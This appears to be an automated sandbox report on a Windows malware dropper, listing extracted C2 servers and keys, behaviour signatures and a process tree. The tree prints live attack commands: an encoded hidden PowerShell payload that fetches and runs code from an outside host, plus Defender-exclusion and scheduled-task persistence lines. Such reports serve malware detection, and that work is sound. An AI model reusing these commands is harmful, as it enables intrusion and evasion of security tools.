Resubmissions
18/08/2026, 19:34
260818-x972xsygjb1002/07/2026, 09:19
260702-labnwsfs6z29/05/2026, 16:41
260529-t7a3mabx7l26/05/2026, 03:15
260526-dr1qcadz4y21/05/2026, 18:13
260521-wt38csgz711021/05/2026, 18:04
260521-wnpssagx3s1021/05/2026, 17:59
260521-wkpzdady5j1021/05/2026, 17:58
260521-wj9bmady2k21/05/2026, 17:58
260521-wj5y7sgv4v21/05/2026, 17:57
260521-wj2lsagv3zAnalysis
- user interaction
yes - max time kernel
749s - max time network
753s - platform
windows11-21h2_x64 - resource
win11-20260130-en - resource tags
- submitted
19/04/2026, 15:47
General
- Target 4363463463464363463463463.exe
- Size 10KB
- Sample260419-s8fttses7k
- SHA256 2fcad226b17131da4274e1b9f8f31359bdd325c9568665f08fd1f6c5d06a23ce
Score
10/10
Malware Config
Extracted
Family
-
risepro
C2
-
3.36.173.8:50500
Extracted
Family
-
xred
C2
-
xred.mooo.com
Attributes
-
payload_url
http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download
https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl=1
http://xred.site50.net/syn/SUpdate.ini
https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=download
https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1
http://xred.site50.net/syn/Synaptics.rar
https://docs.google.com/uc?id=0BxsMXGfPIZfSTmlVYkxhSDg5TzQ&export=download
https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=1
http://xred.site50.net/syn/SSLLibrary.dll
Extracted
Family
-
asyncrat
Botnet
-
Beyond
Attributes
-
c2_url_file
https://rentry.co/Spread4Filly/raw
-
delay
2
-
install
true
-
install_file
$77svchost.exe
-
install_folder
%AppData%
aes.plain
Extracted
Family
-
quasar
Version
-
1.4.1
Botnet
-
DDNS
C2
-
193.161.193.99:32471
Mutex
-
807f3187-d087-4fff-beff-e73293a32af8
Attributes
-
encryption_key
81A0C14D4C705B3C678E573C849DE7F6A3671A8B
-
install_name
jusched.exe
-
key_salt
bfeb1e56fbcd973bb219022430a57843003d5644d21e62b9d4f180e7e6c33941
-
log_directory
CachedLogs
-
reconnect_delay
3000
-
startup_key
Java Update Scheduler
-
subdirectory
Java
Signatures
- Family: Ammyy Admin
Remote admin tool with various capabilities.
- Family: AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
- Family: FlawedAmmyy RAT
Remote-access trojan based on leaked code for the Ammyy remote admin software.
- Family: Lockbit
Ransomware family with multiple variants released since late 2019.
- Family: Mimikatz
mimikatz is an open source tool to dump credentials on Windows.
- Family: Neshta
Malware from the neshta family is designed to infect itself into other files to spread itself and cause damage.
- Family: Quasar RAT
Quasar is an open source Remote Access Tool.
- Family: RisePro
RisePro stealer is an infostealer distributed by PrivateLoader.
- Family: SharpHound
SharpHound is an open-source tool that collects Active Directory data for BloodHound analysis.
- Family: Xred
Xred is backdoor written in Delphi.
- Family: Xworm
Xworm is a remote access trojan written in C#.
- AmmyyAdmin payload 1 IoCs
- Async RAT payload 1 IoCs
- Detect Neshta payload 1 IoCs
- Detect Xworm Payload 1 IoCs
- Detects Mimilove part of Mimikatz 1 IoCs
- Detects SharpHound hacktool 1 IoCs
- Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
- Modifies Windows Defender Real-time Protection settings 3 TTPs 28 IoCs
- Modifies firewall policy service 3 TTPs 4 IoCs
- Modifies security service 2 TTPs 1 IoCs
- Quasar payload 3 IoCs
- Rule to detect Lockbit 3.0 ransomware Windows payload 1 IoCs
- Suspicious use of NtCreateUserProcessOtherParentProcess 2 IoCs
- Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 6 IoCs
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 13 IoCs
Using powershell.exe command.
- Downloads MZ/PE file 28 IoCs
- Drops file in Drivers directory 5 IoCs
- Modifies Windows Firewall 2 TTPs 10 IoCs
- Checks BIOS information in registry 2 TTPs 12 IoCs
BIOS information is often read in order to detect sandboxing environments.
- Creates new service(s) 2 TTPs
- Credentials from Password Stores: Windows Credential Manager 1 TTPs
Suspicious access to Credentials History.
- Cryptocurrency Miner
Makes network request to known mining pool URL.
- Drops startup file 7 IoCs
- Executes dropped EXE 64 IoCs
- Loads dropped DLL 64 IoCs
- Reads WinSCP keys stored on the system 2 TTPs
Tries to access WinSCP stored sessions.
- Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Stops running service(s) 4 TTPs
- Themida packer 13 IoCs
Detects Themida, an advanced Windows software protection system.
- Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
- Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
- Adds Run key to start application 2 TTPs 10 IoCs
- Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Checks whether UAC is enabled 1 TTPs 7 IoCs
- Contacts third-party web service commonly abused for C2 1 TTPs 6 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Enumerates connected drives 3 TTPs 64 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
- Looks up external IP address via web service 9 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Modifies Security services 2 TTPs 3 IoCs
Modifies the startup behavior of a security service.
- Power Settings 1 TTPs 16 IoCs
powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.
- Writes to the Master Boot Record (MBR) 1 TTPs 2 IoCs
Bootkits write to the MBR to gain persistence at a level below the operating system.
- ConfuserEx .NET packer 1 IoCs
Detects ConfuserEx .NET packer.
- Drops file in System32 directory 31 IoCs
- Enumerates processes with tasklist 1 TTPs 3 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 6 IoCs
- Suspicious use of SetThreadContext 3 IoCs
- UPX packed file 27 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Drops file in Program Files directory 64 IoCs
- Drops file in Windows directory 2 IoCs
- Launches sc.exe 28 IoCs
Sc.exe is a Windows utlilty to control services on the system.
- Browser Information Discovery 1 TTPs
Enumerate browser information.
- Detects Pyinstaller 3 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
- Program crash 1 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 64 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- System Time Discovery 1 TTPs 5 IoCs
Adversary may gather the system time and/or time zone settings from a local or remote system.
- Inno Setup is an open-source installation builder for Windows applications. 3 IoCs
Inno Setup installer
- NSIS installer 4 IoCs
- Checks processor information in registry 2 TTPs 5 IoCs
Processor information is often read in order to detect sandboxing environments.
- Delays execution with timeout.exe 3 IoCs
- Enumerates system info in registry 2 TTPs 6 IoCs
- Gathers network information 2 TTPs 1 IoCs
Uses commandline utility to view network configuration.
- Modifies Internet Explorer settings 1 TTPs 2 IoCs
- Modifies data under HKEY_USERS 8 IoCs
- Modifies registry class 64 IoCs
- Modifies registry key 1 TTPs 2 IoCs
- Modifies system certificate store 2 TTPs 3 IoCs
- Scheduled Task/Job: Scheduled Task 1 TTPs 6 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: AddClipboardFormatListener 3 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: GetForegroundWindowSpam 4 IoCs
- Suspicious behavior: MapViewOfSection 2 IoCs
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 4 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of FindShellTrayWindow 45 IoCs
- Suspicious use of SendNotifyMessage 26 IoCs
- Suspicious use of SetWindowsHookEx 33 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
- System policy modification 1 TTPs 3 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Views/modifies file attributes 1 TTPs 2 IoCs
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
-
C:\Users\Admin\AppData\Local\Temp\4363463463464363463463463.exe"C:\Users\Admin\AppData\Local\Temp\4363463463464363463463463.exe"2⤵
- Downloads MZ/PE file
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\Files\self-injection.exe"C:\Users\Admin\AppData\Local\Temp\Files\self-injection.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\Files\autocad_v1.4.exe"C:\Users\Admin\AppData\Local\Temp\Files\autocad_v1.4.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
-
-
C:\Users\Admin\AppData\Local\Temp\Files\Mova.exe"C:\Users\Admin\AppData\Local\Temp\Files\Mova.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
-
-
C:\Users\Admin\AppData\Local\Temp\Files\AGambXYA.exe"C:\Users\Admin\AppData\Local\Temp\Files\AGambXYA.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\Files\AGambXYA.exe"C:\Users\Admin\AppData\Local\Temp\Files\AGambXYA.exe"4⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2480 -s 3125⤵
- Program crash
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\client.exe"C:\Users\Admin\AppData\Local\Temp\Files\client.exe"3⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\ClientRun.exeC:\Users\Admin\AppData\Local\Temp\IXP000.TMP\ClientRun.exe4⤵
- Executes dropped EXE
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\seetrol\client\SeetrolClient.exe"C:\Program Files (x86)\seetrol\client\SeetrolClient.exe"5⤵
- Modifies firewall policy service
- Executes dropped EXE
- Checks whether UAC is enabled
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
- System policy modification
-
C:\Windows\SysWOW64\ipconfig.exe"C:\Windows\System32\ipconfig.exe" /flushdns6⤵
- Gathers network information
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\VoidRAT.exe"C:\Users\Admin\AppData\Local\Temp\Files\VoidRAT.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\AppData\Local\Temp\Files\WxWorkMultiOpen.exe"C:\Users\Admin\AppData\Local\Temp\Files\WxWorkMultiOpen.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\Files\Pinaview.exe"C:\Users\Admin\AppData\Local\Temp\Files\Pinaview.exe"3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\is-O0DMF.tmp\Pinaview.tmp"C:\Users\Admin\AppData\Local\Temp\is-O0DMF.tmp\Pinaview.tmp" /SL5="$8017E,5716409,740352,C:\Users\Admin\AppData\Local\Temp\Files\Pinaview.exe"4⤵
- Executes dropped EXE
-
-
-
C:\Users\Admin\AppData\Local\Temp\Files\CFXBypass.exe"C:\Users\Admin\AppData\Local\Temp\Files\CFXBypass.exe"3⤵
- Executes dropped EXE
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\5164597a-dee1-4b23-bc9f-f44c02a875ce\background.exe"C:\Users\Admin\AppData\Local\5164597a-dee1-4b23-bc9f-f44c02a875ce\background.exe"4⤵
- Executes dropped EXE
- Checks processor information in registry
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --incognito5⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand JABsAGEAPQAkAGUAbgB2ADoATABPAEMAQQBMAEEAUABQAEQAQQBUAEEAOwAkAHAAMQA9ACgAJABsAGEAIAArACAAKAAnAFwAJwArACcATQBpAGMAcgBvAHMAbwBmACcAKwAnAHQAXABPAGYAZgBpAGMAZQAnACsAJwBCACcAKwAnAHIAbwBrACcAKwAnAGUAJwArACcAcgAnACkAKQA7ACQAcAAyAD0AKAAkAGwAYQAgACsAIAAoACcAXABQAGEAYwBrAGEAJwArACcAZwBlAHMAXABNACcAKwAnAGkAYwByACcAKwAnAG8AcwBvAGYAJwArACcAdAAuAFcAaQAnACsAJwBuACcAKwAnAGQAbwB3AHMALgBQAGUAbwAnACsAJwBwAGwAZQBFACcAKwAnAHgAJwArACcAcABlAHIAaQBlAG4AYwBlACcAKwAnAEgAbwBzAHQAXwBnAHcAJwArACcAMQBuADEAYwAyAGYAaAAnACsAJwB5AGUAJwArACcAcQAnACsAJwB5ACcAKQApADsAJABwADIAdAA9ACgAJABwADIAIAArACAAKAAtAGoAbwBpAG4AKAAnAFwAQQBDACcALAAnAFwAVABlACcALAAnAG0AcAAnACkAKQApADsATgBlAHcALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABwADEAIAAtAEkAdABlAG0AVAB5AHAAZQAgAEQAaQByAGUAYwB0AG8AcgB5ACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAOwBOAGUAdwAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAkAHAAMgB0ACAALQBJAHQAZQBtAFQAeQBwAGUAIABEAGkAcgBlAGMAdABvAHIAeQAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsADsAYQB0AHQAcgBpAGIAIAArAGgAIAArAHMAIAAkAHAAMQA7AGEAdAB0AHIAaQBiACAAKwBoACAAKwBzACAAJABwADIAOwByAGUAZwAgAGEAZABkACAAKAAtAGoAbwBpAG4AKAAnAEgASwAnACwAJwBMAE0AJwAsACcAXABTACcALAAnAE8ARgBUAFcAQQBSAEUAXAAnACwAJwBQAG8AbABpACcALAAnAGMAaQBlACcALAAnAHMAXABNAGkAYwByAG8AJwAsACcAcwBvAGYAdABcAFcAJwAsACcAaQBuAGQAbwAnACwAJwB3AHMAIABEAGUAZgBlAG4AJwAsACcAZABlAHIAXABFAHgAYwAnACwAJwBsAHUAcwAnACwAJwBpAG8AbgBzAFwAUABhACcALAAnAHQAJwAsACcAaABzACcAKQApACAALwBmACAALwByAGUAZwA6ADYANAA7AHIAZQBnACAAYQBkAGQAIAAoAC0AagBvAGkAbgAoACcASAAnACwAJwBLAEwATQBcAFMATwBGAFQAJwAsACcAVwBBAFIARQAnACwAJwBcAFAAbwBsAGkAYwAnACwAJwBpAGUAcwBcAE0AaQBjAHIAJwAsACcAbwBzAG8AZgB0AFwAJwAsACcAVwBpAG4AZAAnACwAJwBvAHcAcwAgAEQAZQAnACwAJwBmAGUAbgBkAGUAJwAsACcAcgAnACwAJwBcAEUAeABjAGwAdQBzAGkAJwAsACcAbwBuAHMAXAAnACwAJwBQAGEAdABoAHMAJwApACkAIAAvAHYAIAAkAHAAMQAgAC8AdAAgAFIARQBHAF8ARABXAE8AUgBEACAALwBkACAAMAAgAC8AZgAgAC8AcgBlAGcAOgA2ADQAOwByAGUAZwAgAGEAZABkACAAKAAtAGoAbwBpAG4AKAAnAEgASwBMAE0AXABTAE8ARgAnACwAJwBUAFcAJwAsACcAQQBSAEUAXABQACcALAAnAG8AbABpAGMAaQBlAHMAXAAnACwAJwBNAGkAYwByAG8AcwAnACwAJwBvAGYAdABcAFcAaQBuAGQAJwAsACcAbwB3AHMAIABEAGUAJwAsACcAZgBlAG4AZAAnACwAJwBlAHIAJwAsACcAXABFAHgAYwBsAHUAcwBpACcALAAnAG8AbgBzACcALAAnAFwAUABhAHQAaABzACcAKQApACAALwB2ACAAJABwADIAIAAvAHQAIABSAEUARwBfAEQAVwBPAFIARAAgAC8AZAAgADAAIAAvAGYAIAAvAHIAZQBnADoANgA0ADsAdAByAHkAewBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJABwADEAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7AEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAkAHAAMgAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAfQBjAGEAdABjAGgAewB9AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIABnAHAAdQBwAGQAYQB0AGUAIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJwAvAGYAbwByAGMAZQAnACwAJwAvAHQAYQByAGcAZQB0ADoAYwBvAG0AcAB1AHQAZQByACcAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuACAALQBXAGEAaQB0ACAAMgA+ACQAbgB1AGwAbAA7AFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADIAMAA7AHMAYwBoAHQAYQBzAGsAcwAgAC8AYwByAGUAYQB0AGUAIAAvAHQAbgAgACgAJwBXAGkAbgBkAG8AdwBzACcAKwAnAFMAJwArACcAeQBzAHQAZQBtAFMAZQAnACsAJwByAHYAaQBjAGUAJwApACAALwB0AHIAIAAoACQAcAAxACAAKwAgACgALQBqAG8AaQBuACgAJwBcACcALAAnAHMAdgBjAGgAJwAsACcAbwBzAHQALgBlACcALAAnAHgAZQAnACkAKQApACAALwBzAGMAIABvAG4AbABvAGcAbwBuACAALwByAGwAIABoAGkAZwBoAGUAcwB0ACAALwBmACAAMgA+ACQAbgB1AGwAbAA7AHMAYwBoAHQAYQBzAGsAcwAgAC8AYwByAGUAYQB0AGUAIAAvAHQAbgAgACgAJwBSAHUAbgB0ACcAKwAnAGkAbQBlAEIAcgBvAGsAJwArACcAZQAnACsAJwByAFMAZQAnACsAJwByAHYAaQAnACsAJwBjACcAKwAnAGUAJwApACAALwB0AHIAIAAoACQAcAAyAHQAIAArACAAJwBcAFIAdQBuAHQAaQBtAGUAQgByAG8AawBlAHIALgBlAHgAZQAgAC0ARQBtAGIAZQBkAGQAaQBuAGcAJwApACAALwBzAGMAIABvAG4AbABvAGcAbwBuACAALwByAGwAIABoAGkAZwBoAGUAcwB0ACAALwBmACAAMgA+ACQAbgB1AGwAbAA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAPQBbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AFMAZQByAHYAZQByAEMAZQByAHQAaQBmAGkAYwBhAHQAZQBWAGEAbABpAGQAYQB0AGkAbwBuAEMAYQBsAGwAYgBhAGMAawA9AHsAJAB0AHIAdQBlAH0AOwAkAGkAdgA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABiAHkAdABlAFsAXQAgADEANgA7AFsAUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBSAGEAbgBkAG8AbQBOAHUAbQBiAGUAcgBHAGUAbgBlAHIAYQB0AG8AcgBdADoAOgBDAHIAZQBhAHQAZQAoACkALgBHAGUAdABCAHkAdABlAHMAKAAkAGkAdgApADsAJABhAGUAcwA9AFsAUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBBAGUAcwBdADoAOgBDAHIAZQBhAHQAZQAoACkAOwAkAGEAZQBzAC4ASwBlAHkAPQBbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACgAJwA0ADEANwAxACcAKwAnADIAOQA2ADEAMgA5ADQAOQAnACsAJwAxADEANAAxADEANgA3ADMAJwArACcAMAA4ACcAKwAnADkAMQA2ADcAMwAzADkAOQAnACsAJwAwADEAJwApACkAOwAkAGEAZQBzAC4ASQBWAD0AJABpAHYAOwAkAGEAZQBzAC4ATQBvAGQAZQA9ACgALQBqAG8AaQBuACgAJwBDAEIAJwAsACcAQwAnACkAKQA7ACQAYQBlAHMALgBQAGEAZABkAGkAbgBnAD0AKAAnAFAASwAnACsAJwBDAFMAJwArACcANwAnACkAOwAkAGMAbQBkAD0AWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAoAC0AagBvAGkAbgAoACcAZwBlACcALAAnAHQAUAAnACwAJwBhAHkAbABvACcALAAnAGEAJwAsACcAZAAnACkAKQApADsAJABlAG4AYwBDAG0AZAA9ACQAYQBlAHMALgBDAHIAZQBhAHQAZQBFAG4AYwByAHkAcAB0AG8AcgAoACkALgBUAHIAYQBuAHMAZgBvAHIAbQBGAGkAbgBhAGwAQgBsAG8AYwBrACgAJABjAG0AZAAsADAALAAkAGMAbQBkAC4ATABlAG4AZwB0AGgAKQA7ACQAYgBvAGQAeQA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABiAHkAdABlAFsAXQAgACgAJABpAHYALgBMAGUAbgBnAHQAaAArACQAZQBuAGMAQwBtAGQALgBMAGUAbgBnAHQAaAApADsAWwBBAHIAcgBhAHkAXQA6ADoAQwBvAHAAeQAoACQAaQB2ACwAJABiAG8AZAB5ACwAMQA2ACkAOwBbAEEAcgByAGEAeQBdADoAOgBDAG8AcAB5ACgAJABlAG4AYwBDAG0AZAAsADAALAAkAGIAbwBkAHkALAAxADYALAAkAGUAbgBjAEMAbQBkAC4ATABlAG4AZwB0AGgAKQA7ACQAdwBjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAHcAYwAuAEgAZQBhAGQAZQByAHMALgBBAGQAZAAoACgALQBqAG8AaQBuACgAJwBDACcALAAnAG8AbgB0AGUAbgAnACwAJwB0AC0AVAB5ACcALAAnAHAAZQAnACkAKQAsACgAJwBhAHAAcAAnACsAJwBsAGkAYwAnACsAJwBhAHQAaQBvAG4AJwArACcALwBvAGMAdABlAHQALQBzACcAKwAnAHQAcgBlACcAKwAnAGEAbQAnACkAKQA7ACQAZABhAHQAYQA9ACQAdwBjAC4AVQBwAGwAbwBhAGQARABhAHQAYQAoACcAaAB0AHQAcABzADoALwAvAG4AZQB3AHAAcgBvAGoAZQBjAHQALQBuAGUAdwB3AG8AcgBsAGQALgBpAG4AZgBvADoANAA0ADMAJwAsACQAYgBvAGQAeQApADsAJAByAGkAdgA9AFsAYgB5AHQAZQBbAF0AXQAkAGQAYQB0AGEAWwAwAC4ALgAxADUAXQA7ACQAZQBuAGMAPQBbAGIAeQB0AGUAWwBdAF0AJABkAGEAdABhAFsAMQA2AC4ALgAoACQAZABhAHQAYQAuAEwAZQBuAGcAdABoAC0AMQApAF0AOwAkAGEAZQBzAC4ASQBWAD0AJAByAGkAdgA7ACQAZABlAGMAPQAkAGEAZQBzAC4AQwByAGUAYQB0AGUARABlAGMAcgB5AHAAdABvAHIAKAApAC4AVAByAGEAbgBzAGYAbwByAG0ARgBpAG4AYQBsAEIAbABvAGMAawAoACQAZQBuAGMALAAwACwAJABlAG4AYwAuAEwAZQBuAGcAdABoACkAOwBbAEkATwAuAEYAaQBsAGUAXQA6ADoAVwByAGkAdABlAEEAbABsAEIAeQB0AGUAcwAoACgAJABwADEAIAArACAAKAAnAFwAcwB2AGMAJwArACcAaABvAHMAdAAuAGUAJwArACcAeABlACcAKQApACwAJABkAGUAYwApADsAQwBvAHAAeQAtAEkAdABlAG0AIAAoACQAcAAxACAAKwAgACgAJwBcAHMAJwArACcAdgBjAGgAbwAnACsAJwBzACcAKwAnAHQALgBlACcAKwAnAHgAJwArACcAZQAnACkAKQAgACIAJABwADIAdABcAFIAdQBuAHQAaQBtAGUAQgByAG8AawBlAHIALgBlAHgAZQAiACAALQBGAG8AcgBjAGUAOwBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAKAAkAHAAMQAgACsAIAAoACcAXABzAHYAYwAnACsAJwBoAG8AcwB0AC4AZQAnACsAJwB4AGUAJwApACkAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuADsA6⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\attrib.exe"C:\Windows\system32\attrib.exe" +h +s C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker7⤵
- Views/modifies file attributes
-
-
C:\Windows\system32\attrib.exe"C:\Windows\system32\attrib.exe" +h +s C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.PeopleExperienceHost_gw1n1c2fhyeqy7⤵
- Views/modifies file attributes
-
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /reg:647⤵
-
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker /t REG_DWORD /d 0 /f /reg:647⤵
-
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /v C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.PeopleExperienceHost_gw1n1c2fhyeqy /t REG_DWORD /d 0 /f /reg:647⤵
-
-
C:\Windows\system32\gpupdate.exe"C:\Windows\system32\gpupdate.exe" /force /target:computer7⤵
-
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /tn WindowsSystemService /tr C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker\svchost.exe /sc onlogon /rl highest /f7⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /tn RuntimeBrokerService /tr "C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.PeopleExperienceHost_gw1n1c2fhyeqy\AC\Temp\RuntimeBroker.exe -Embedding" /sc onlogon /rl highest /f7⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker\svchost.exe"C:\Users\Admin\AppData\Local\Microsoft\OfficeBroker\svchost.exe"7⤵
- Executes dropped EXE
-
-
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" --headless --disable-gpu5⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --headless --disable-gpu5⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --headless --incognito5⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --disable-gpu5⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" --headless --disable-gpu5⤵
-
-
C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" --headless --incognito5⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --headless --disable-gpu5⤵
-
-
